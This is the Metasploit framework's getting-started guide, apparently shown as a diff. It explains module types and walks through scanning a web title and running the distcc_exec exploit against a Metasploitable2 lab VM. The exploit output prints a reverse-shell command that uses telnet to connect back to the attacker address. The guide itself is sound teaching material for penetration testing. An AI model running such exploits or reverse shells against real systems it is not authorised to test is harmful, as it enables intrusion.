## Getting started | ||
|
||
Depending on your skill level - if you have no experience with Metasploit, the following resources may be a better starting point: | ||
Assuming you have installed Metasploit, either with the official Rapid7 nightly installers or through Kali, you can use the `msfconsole` command to open Metasploit: | ||

||
### Finding modules | ||
|
||
Metasploit is based around the concept of [[modules]]. The most commonly used module types are: | ||
|
||
- Auxiliary - Auxiliary modules do not exploit a target, but can perform data gathering or administrative tasks | ||
- Exploit - Exploit modules leverage vulnerabilities in a manner that allows the framework to execute arbitrary code on the target host | ||
- Payloads - Arbitrary code that can be executed on a remote target to perform a task, such as creating users, opening shells, etc | ||
- Post - Post modules are used after a machine has been compromised. They perform useful tasks such as gathering, collecting, or enumerating data from a session. | ||
|
||
You can use the `search` command to search for modules: | ||
|
||
```msf | ||
msf6 > search type:auxiliary http html title tag | ||
Matching Modules | ||
================ | ||
# Name Disclosure Date Rank Check Description | ||
- ---- --------------- ---- ----- ----------- | ||
0 auxiliary/scanner/http/title normal No HTTP HTML Title Tag Content Grabber | ||
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/title | ||
msf6 > | ||
``` | ||
|
||
You can `use` a Metasploit module by specifying the full module name. The prompt will be updated to indicate the currently | ||
active module: | ||
|
||
```msf | ||
msf6 > use auxiliary/scanner/http/title | ||
msf6 auxiliary(scanner/http/title) > | ||
``` | ||
|
||
### Running Auxiliary modules | ||
|
||
Auxiliary modules do not exploit a target, but can perform data gathering or administrative tasks. For instance, a module | ||
extracting the HTTP title from a server: | ||
|
||
```msf | ||
msf6 > use auxiliary/scanner/http/title | ||
msf6 auxiliary(scanner/http/title) > | ||
``` | ||
|
||
Each module offers configurable options which can be viewed with the `show options`, or aliased `options`, command: | ||
|
||
```msf | ||
msf6 auxiliary(scanner/http/title) > show options | ||
Module options (auxiliary/scanner/http/title): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 80 yes The target port (TCP) | ||
SHOW_TITLES true yes Show the titles on the console as they are grabbed | ||
SSL false no Negotiate SSL/TLS for outgoing connections | ||
STORE_NOTES true yes Store the captured information in notes. Use "notes -t http.title" to view | ||
TARGETURI / yes The base path | ||
THREADS 1 yes The number of concurrent threads (max one per host) | ||
VHOST no HTTP server virtual host | ||
View the full module info with the info, or info -d command. | ||
msf6 auxiliary(scanner/http/title) > | ||
``` | ||
|
||
To set a module option, use the `set command`. We will set the `RHOST` option - which represents the target host(s) that | ||
the module will run against: | ||
|
||
```msf | ||
msf6 auxiliary(scanner/http/title) > set RHOSTS google.com | ||
RHOSTS => google.com | ||
``` | ||
|
||
The `run` command will run the module against the target, showing the target's HTTP title: | ||
|
||
```msf | ||
msf6 auxiliary(scanner/http/title) > run | ||
[+] [142.250.180.14:80] [C:301] [R:http://www.google.com/] [S:gws] 301 Moved | ||
[*] Scanned 1 of 1 hosts (100% complete) | ||
[*] Auxiliary module execution completed | ||
``` | ||
|
||
New in Metasploit 6 there is added support for running modules with options set as part of the run command. For instance, setting | ||
both `RHOSTS` and enabling `HttpTrace` functionality: | ||
|
||
```msf | ||
msf6 auxiliary(scanner/http/title) > run rhosts=google.com httptrace=true | ||

|
||
### Running exploit modules | ||
|
||
Exploit modules require a vulnerable target. It is recommended to set up your own local test environment to run modules against. | ||
For instance in a Virtual Machine, or with Docker. There are multiple pre-built vulnerable test environments including: | ||
|
||
- [Metasploitable2](https://docs.rapid7.com/metasploit/metasploitable-2/) | ||
- [Metasploitable3](https://github.com/rapid7/metasploitable3) | ||
|
||
For instance - targeting a vulnerable Metasploitable2 VM and using the `unix/misc/distcc_exec` module: | ||
|
||
```msf | ||
msf6 > use unix/misc/distcc_exec | ||
[*] Using configured payload cmd/unix/reverse_bash | ||
msf6 exploit(unix/misc/distcc_exec) > | ||
``` | ||
|
||
Exploit modules will generally at a minimum require the following options to be set: | ||
|
||
- `RHOST` - The remote target host address | ||
- `LHOST` - The listen address. **Important** This may need to be set to your `tun0` IP address or similar, if you are connecting to your target over a VPN | ||
- `PAYLOAD` - The code to be executed after an exploit is successful. For instance creating a user, or a Metasploit session. Often this can be left as the default value, but may sometimes require configuration | ||
|
||
Each module offers configurable options which can be viewed with the `show options`, or aliased `options`, command: | ||
|
||
```msf | ||
msf6 exploit(unix/misc/distcc_exec) > options | ||
Module options (exploit/unix/misc/distcc_exec): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 3632 yes The target port (TCP) | ||
Payload options (cmd/unix/reverse_bash): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
LHOST yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
0 Automatic Target | ||
View the full module info with the info, or info -d command. | ||
msf6 exploit(unix/misc/distcc_exec) > | ||
``` | ||
|
||
For this scenario you can manually set each of the required option values (`RHOST`, `LHOST`, and optionally `PAYLOAD`): | ||
|
||
```msf | ||
msf6 exploit(unix/misc/distcc_exec) > set rhost 192.168.123.133 | ||
rhost => 192.168.123.133 | ||
msf6 exploit(unix/misc/distcc_exec) > set lhost 192.168.123.1 | ||
lhost => 192.168.123.1 | ||
msf6 exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse | ||
payload => cmd/unix/reverse | ||
``` | ||
|
||
The `run` command will run the module against the target, there is also an aliased `exploit` command which will perform the same action: | ||
|
||
```msf | ||
msf6 exploit(unix/misc/distcc_exec) > run | ||
[+] sh -c '(sleep 4375|telnet 192.168.123.1 4444|while : ; do sh && break; done 2>&1|telnet 192.168.123.1 4444 >/dev/null 2>&1 &)' | ||

||
New in Metasploit 6 there is added support for running modules with options set as part of the run command: | ||
|
||
```msf | ||
msf6 exploit(unix/misc/distcc_exec) > run rhost=192.168.123.133 lhost=192.168.123.1 payload=cmd/unix/reverse | ||
